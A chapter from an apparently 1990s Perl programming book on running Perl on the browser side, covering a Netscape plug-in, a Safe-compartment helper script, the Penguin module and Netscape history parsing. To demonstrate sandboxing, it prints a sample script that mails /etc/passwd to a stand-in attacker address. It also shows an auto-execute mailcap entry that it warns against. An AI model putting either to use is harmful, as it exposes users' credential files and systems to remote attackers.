15
Client-Side Perl


In this chapter, we're going to take a look at how to use Perl on the client, or browser, side of the Web connection. There are several useful possibilities. As with other chapters, we'll try to focus on the techniques that involve existing Perl5 modules and extensions.

Probably the most interesting (and dangerous) of the possibilities for using Perl on the client side is to use it to process a given URL's contents directly as a script. You can do this in one of two ways. You can associate a given MIME type/extension with the Perl application and have Perl start and process the URL's contents when you receive a URL of this type, or, more interestingly, you can embed the Perl application, possibly as a Netscape plug-in, into the browser and execute the contents of the URL directly, sending the output back to the Netscape window.



NOTE:

We need to point out that at the time this book was written, there was only a single example of a Netscape plug-in that invokes Perl. We're going to focus on the possibilities with regard to plug-ins and embedded Perl in this chapter, rather than on what is already available.


Security becomes a very big issue when you start to consider using Perl at your end to process any given URL's contents directly as a program. There are a number of risks to you, as the client, when executing arbitrary code from the Net. Just as with Java or JavaScript, or any other interpreter used from the client side, a number of precautions need to be taken. We'll try to cover these in some detail in this chapter.



CAUTION:

Some or all of what follows may be regarded as highly controversial, or even forbidden, from a security standpoint. It's important to emphasize that you can't be too careful when executing arbitrary code, programs, applets, or even macros directly from the Net in any language. Don't hesitate to ask your system administrator if you have any questions or concerns about using any programming language, including Perl, on the client side, especially if you're on a secure or firewalled site. Proceed with caution. Buyer beware! Caveat scriptor! No warranty is implied or given, and so on.


Embedded Perl Interpreter in a
Web Browser

At the time of this writing, there is only one Web browser that has the functionality to support an embedded Perl interpreter. That browser is Netscape, through its plug-in mechanism. There has been a rumor that the Microsoft browser will also support plug-ins soon, but we did not investigate this.

As we've already mentioned, at the time of this writing, there is only one example of a Netscape plug-in that invokes Perl. It does not actually embed the Perl interpreter into the plug-in, but rather it uses UNIX pipes to communicate with the Perl executable. Before we take a look at it, let's consider the list of potential components of an embedded mechanism in a browser. There are a number of features that definitely should be part of any future Perl plug-in, and others that certainly might be nice to have in a fully implemented plug-in, once someone finally takes the time and expertise to write it and release it.

So, now that we've considered what could and should be a part of a Perl plug-in, let's take a look at the one that has already been developed.

The Netscape plug-in development kit provides the developer with a simple interface to and from the Netscape browser. The plug-in developer defines the MIME type/extension that he or she wants Netscape to associate with the plug-in, and whenever any URL of this type is received, the plug-in is invoked and is passed the content of the URL. It's then up to the plug-in to process the content as it sees fit and exit with an appropriate value that is returned to Netscape.

The existing Perl plug-in is quite simple in its implementation, but it has an enhanced entertainment value and visual appeal because it's implemented using the OpenGL 3D Graphics Rendering kit. It can communicate with the browser directly, creating windows within the browser for its output.

The OpenGL plug-in source is distributed with the OpenGL Perl5 extension, available from the CPAN in the ~modules/by-module/OpenGl directory. If you don't have OpenGL, you can obtain a library, called MesaGL, which emulates most of OpenGL's features and capabilities for free. MesaGL is available by anonymous ftp from ftp://iris.ssec.wisc.edu/pub/Mesa.

You'll need to install the OpenGL or MesaGL C library and have the OpenGL Perl5 extension, as well as the Safe/Opcode module available, for the plug-in to work.

Once you've installed everything, you can try some of the sample scripts that come with OpenGL. In particular, the OpenGL Perl plug-in is distributed with a sample Perl script called quest.glp, which, when run by itself, produces a window with a simple animated 3D maze, which looks something like Figure 15.1.

Figure 15.1. The Maze object.

While the script is running, the Maze object you see will actually be rotating on its 3D axis and slowly moving closer to, then farther away from, the foreground. It's not particularly useful, granted, but it is visually appealing. Now, let's take a closer look at the source code for the plug-in to see how it works its simple magic.

As with any Netscape plug-in, there are C code routines that you must code up to make it do what you want. As we've previously mentioned, the plug-in must be able to tell Netscape what MIME type it's able to handle. This is done through the NPP_GetMIMEDescription() function in the npshell.c source code file. This particular plug-in sets itself up to handle URLs of the

application/Perl-opengl:.glp

type. Whenever a URL with the extension .glp is received by Netscape, it will invoke the plug-in and pass in the contents. Once the plug-in is invoked, the NPP_Write() function is eventually called, and here is where the plug-in developer chooses to actually invoke Perl, using the UNIX popen(3S) routine. Once Perl is started and waiting at the other end of the pipe for input, the contents of the URL (the Perl script) is fed to it, using the Safe::reval() method discussed in Chapter 3. This also implies that a Safe Compartment is created, and the exported symbols from the OpenGL module are permit()'d into it. We end up with a Netscape window that looks like Figure 15.2.

The html that invokes the plug-in has the EMBED tag

<EMBED src="quest.glp", width=300, height=300>

which causes the plug-in to be invoked with the right extension.

Hopefully, as time allows, we'll start to see other useful Netscape plug-ins that embed Perl and implement an encryption method for the exchange of scripts and bytecodes.

Executing Perl as a Helper Application

The other way to execute Perl scripts from the Net on your client is via the use of a MIME type, mapping to a helper application. Under UNIX you need to coordinate the tow files, .mime.types, and .mailcap in order to correctly map the URL's type to the Perl application.

Now the easiest, and the most dangerous, way to implement this is with the simple entry in your .mailcap:

application/Perl; /usr/local/bin/Perl %s

And in your .mime.types:

type=application/Perl\

desc="Ordinary Perl script" \



exts="myplt"

Figure 15.2. The perl-opengl plugin page.

These will map any URL with the .myplt extension to be executed automatically with Perl. Now that we've told you how to do it, we emphasize that you should never, ever do this, under any circumstances. Even using the special extension, .myplt, if anyone ever learns that you've set this up, they might be able to send you a script that could compromise your security in the guise of an innocuous-looking URL. Fortunately, Netscape nowadays has the built-in warning dialog, which prompts you before actually executing the script.

In any case, it's much better to use the Safe extension to set up a secure environment first, then execute the script within this environment. Listing 15.1 shows a simple script called HelperAppPerl that you can install and then set up your .mime.types and .mailcap files to invoke it with the Perl script you've downloaded.

Listing 15.1. HelperAppPerl.

#!/usr/local/bin/Perl



require Safe;



my $cpt;                # Safe compartment object

my $error;              # holds errors from reval()'in the URL

my $privfile = "$ENV{HOME}/.helper.privs";

my ($share, @permitted);

my $program;



$cpt = new Safe;



# Sanity check: confirm that this version of Perl really is op_mask aware.

# Thanks to Malcolm Beattie for some of these bits, from SafeCGIPerl



$cpt->reval(`open();');

if ("$@" !~ /open trapped by operation mask/) {

   die(<<`EOT');

Your version of Perl is not op_mask aware. See the file README

that comes with the distribution of the Safe extension to Perl.

EOT

}



# Open and parse the optional .helper.privs file



if( -e $privfile){

    open(PRIVS, "<".$privfile) or

        die "Can\'t open your privfile, $privfile\n";

    while(<PRIVS>){

        next if /^\s*\#/;               # skip comments

        ($share = $_) =~ s/^([^#]*).*/$1/;   # skip comments on same line

        warn "Permitting ops: $share\n" if ($debug);

        @permitted = split(` `,$share);

        $cpt->permit( @permitted );

    }

}



# Now we're ready to go



$program = $ARGV[0];

(-r "$program") or (die "program $program not found\n");





# Share STDIN and STDOUT but no other filehandles.

# Share %ENV so that the script can see our environment variables.

# Share $" so that they can interpolate arrays in double-quotish contexts.

#

$cpt->share(qw($" *STDIN *STDOUT %ENV ));



$error = $cpt->rdo($program);



if ($@) {

    die "Program error: $@";

}

Once you've set up your .mime.types file like this

type=application/Perl\

desc="Safe Perl script" \

exts="mypl"

and your .mailcap file like this

application/Perl; /usr/local/bin/HelperAppPerl %s

then any URL with the extension .mypl will invoke this helper application, which will compile and run the script within the Safe compartment.

In the HelperAppPerl script, we perform the following tasks:

  1. Create a new Safe object (compartment) using $cpt.

  2. Perform a sanity check on the safe compartment to be sure we're using a Perl that has the Safe masking capability. (This technique is derived from SafeCGIPerl, discussed in Chapter 3.)

  3. Open and parse an optional .helper.privs file to give the user some flexibility in configuring the Safe compartment. Be very careful about using this option. Make quite sure you understand exactly what you're permitting before you make an entry in this file.

  4. Share the STDIN and STDOUT file handles, and the %ENV hash into the safe compartment.

  5. Execute the downloaded script, within the safe compartment, using the Safe::rdo() method.

  6. Check $@ for any runtime errors during the execution.

Using this technique is certainly preferable to nothing at all, but it still isn't foolproof. If the user incorrectly configures his or her .helper.privs file to allow an unsafe op like fork() or open(), it can lead to trouble. Make sure that you, and/or the user, fully understand how Safe works and the implications of each opcode before configuring any additional permit()'d operations.

If the script that gets executed on the client side has any given operation that has not been permit()'d, the script will terminate with an error. Suppose that, for instance, someone sent you a script that tried to open and mail your passwd file:

open(PASSWD,"</etc/passwd");

open(MAIL,"|/usr/lib/sendmail -t");

print MAIL "To: darkman\@badguys.org\n";

print MAIL "Subject: Hey darkman!  Got another one!\n";

print MAIL "From: LoserUser\@bozosRus.com\n\n";



while(<PASSWD>){

   print MAIL $_;

}

close(MAIL);

exit(0);    # Another Success!

This script would have run just fine if you hadn't set up a Safe compartment. Since you did, though, the script won't run, and Netscape will give you back an error dialog that looks like Figure 15.3, indicating that the open() operation wasn't allowed. Too bad for darkman.

Figure 15.3. A Safe error message.

PenguinA New Paradigm in Remote Execution

One of the most interesting and potentially useful examples of remote Perl code execution doesn't use the Web at all. As we've previously mentioned, it's arguable whether the most important tasks that need to be executed on remote clients really need a user interface at all. Administration tasks, remote processing, CPU sharing, and other important tasks don't necessarily require spinning mazes or little fat guys jumping around on the screen.

The Penguin module is a complete interface and execution environment all by itself. We mention it here because it's designed in a way that utilizes the most important of the features we mentioned earlier in the chapter in our list of desirable characteristics for an embedded Perl in a Web browser.

The Penguin runs the code it receives in a configurable Safe environment. The configuration of the Safe compartment is done automatically, depending on the PGP signature of the "Frame" that is sent from the remote end. If it's from someone you trust, more opcodes can be permitted; if not, then little or nothing, in terms of allowable ops, is the default. It also provides a means of encryption of the transaction via PGP. The Penguin's output is usually limited to files or text, but in theory, it should be able to execute any given module like Tk or OpenGL if you trust the sender enough.

A Penguin is simply a Perl object that, when instantiated with the new() method, can be set up to be either a server or a client with the capability to switch back and forth between the two, to effect a "conversation" between two Penguins consisting of Perl scripts that execute on each side and return results to the other side. The Penguin uses the handy and very stable IO module to do all of its communication on the socket between it and the remote Penguin. Since the IO module is now (as of 5.003_02) shipping with Perl as a core module, you'll be all set once you get the preceding mentioned items.

You can obtain the Penguin module from the CPAN. You'll also need a PGP executable and, of course, the Safe module. When you've got the required components installed, you can try it out. To do this, you'll need to set up your own PGP keyring and write up a little Perl script to pgp-sign and have it sent to the client. The version of Penguin we tried was an early alpha, but we expect the 1.0 version to be released by the time this book is published.

If you need a remote secure execution environment, but not necessarily within a Web browser, give the Penguin a try. You can get it at

http://www.eden.com/~fsg/penguin/

According to its author, the Penguin is capable of the following: The combination of these functions enable direct Perl coding of algorithms to handle safe Internet commerce, mobile information-gathering agents, "live content" Web browser helper apps, distributed load-balanced computation, remote software update, distance machine administration, content-based information propagation, Internet-wide shared-data applications, network application builders, and so on. Definitely an exciting development in the Perl community. Check it out.

Parsing Netscape History Files

We're going to close this chapter with a few tips for handling the various database files Netscape uses to store its global history and other important records.

Beginning with version 2.0, Netscape is using the Berkeley DB package to produce its databases that it accesses at runtime for various lookups. In order to run the sample code that follows, you'll need to build and install the DB library and its associated include files. You can get these from the CPAN in the misc directory. You'll also need to build and install the DB_File module, which ships as a core Perl module. You have to either remake Perl or build the module outside of the Perl distribution after you've installed the DB library and include files.

Tom Christiansen, that old wizard, took the time to figure out how the Netscape global history file was put together and wrote up a nice little tool to operate on it; the tool is called ggh, for Grok Global History. You can get the ggh tool from the CPAN in Tom's authors directory:

~/authors/Tom_Christiansen/scripts/nshist.gz

Let's take a look at how it works. Tom's stuff is usually an exercise in proper Perl coding style.

ggh has several command-line invocation options that allow the user to invoke it to grep out the URLs of interest, using Perl regular expressions from the history file as well as convert time formats.

If there's a link that you can't quite remember the location of, but you may remember the basename of the site, you can use ggh to search your entire history file to find anything that matches the basename. For instance, suppose that I wanted to find all the sites relative to Perl in my global history. I'd just use the simple invocation with the Perl regexp:

% ggh Perl

This gives me the following output from my history file at work:

Sat Sep 14 14:16:11 1996 http://moulon.inra.fr:80/oracle/www_oraPerl_eng.html

Sat Sep 14 14:19:29 1996 http://cs.indiana.edu/Perl-server/intro.html

Sat Sep 14 14:19:30 1996 http://www.cs.indiana.edu/Perl-server/intro.html

Sat Sep 14 14:19:31 1996 http://www.cs.indiana.edu/picons/db/news/comp/lang/Perl/

Âunknown/face.xbm

Wed Aug 28 18:11:00 1996 http://ducks.corp.adobe.com/Perl/authors/

Wed Sep 18 00:55:54 1996 http://www.Perl.com/CPAN/src/latest.tar.gz

Wed Sep 18 00:55:59 1996 ftp://ftp.digital.com/pub/plan/Perl/CPAN/src/latest.tar.

Âgz

Wed Sep 18 00:56:11 1996 http://www.Perl.com

Wed Sep 18 00:56:50 1996 http://www.ora.com/catalog/covers/pPerl2.t.gif

Wed Sep 18 00:58:19 1996 http://www.ee.pdx.edu/~rseymour/Perl/

Wed Sep 18 00:58:26 1996 http://www.eecs.nwu.edu/Perl/Perl.html

Wed Sep 18 00:59:17 1996 http://www.middlebury.edu/~otisg/images/button.Perl.gif

Wed Sep 18 00:59:33 1996 http://www.cis.ohio-state.edu/htbin/info/info/Perl.info

Wed Sep 18 01:00:08 1996 http://www.ics.uci.edu/pub/websoft/libwww-Perl/

Wed Sep 18 01:00:29 1996 http://www.wg.omron.co.jp/~jfriedl/Perl/index.html

Wed Sep 18 01:00:45 1996 http://www.hut.fi/~jhi/Perl5-porters.html

Wed Sep 18 01:01:17 1996 http://homepage.seas.upenn.edu/~mengwong/Perlhtml.html

Wed Sep 18 01:01:45 1996 http://www.khoros.unm.edu/staff/neilb/Perl/www.html

After you try Tom's ggh script for a while, you can modify it, for instance, to use the CGI libraries and automate the process of keeping it up to date with working URLs. As with many of Tom's scripts, it's completely free, and you can hack at will. Just don't redistribute without making a note of your changes.



NOTE:

A bytecode compiler for Perl is currently in development and is targeted for release with the 5.005 version of Perl.


Summary

In general, excuting any application (including Java) on the client side is a dangerous thing to do. In this chapter, I've tried to cover some relatively safe and appealing ways to use Perl in this context. As always, caveat scriptor. Watch the newsgroup comp.lang.perl.misc to keep up with the latest developments regarding Netscape/Perl.